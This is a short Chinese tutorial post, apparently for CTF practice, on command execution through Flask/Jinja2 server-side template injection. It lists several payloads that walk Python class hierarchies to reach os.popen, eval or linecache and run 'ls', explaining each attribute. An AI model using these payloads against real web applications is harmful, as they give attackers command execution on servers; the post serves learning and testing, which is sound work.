【模板注入】SSTI命令执行payload分析
SSTI基础
网上有关SSTI基础的文章很多,写的好的文章也有.下面给出一篇文章,本文不再细讲基础.
<<从零学习flask模板注入>>@和蔼的杨小二
命令执行
要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.
这里先看一个payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
payload各部分:
__class__:返回对象所属类
众所周知两个双引号是字符串''
__mro__:以元组返回继承链关系
__subclasses__:以列表返回类的所有子类.
__init__:类的初始方法,用以初始化实例.实际上魔术方法__new__与__init__共同作为"构造函数",__new__先实例化类对象,而后__init__则用传入的参数来初始化实例.
__globals__(也可用func_globals):以字典返回内建模块
选中模块之后即可进行命令执行
题目环境运行如下
os.system的结果为0是因为os.system执行但不返回结果,执行成功后返回0.而os.popen便可以利用read读取命令执行结果
其他payload
命令执行大抵如此,都是先找到可以执行命令的模块,而后再执行.下面再列几个payload.
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')
这两个payload用的是同一个模块,__builtins__模块,eval方法.
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()
这些都很灵活的,熟悉就好.多多测试.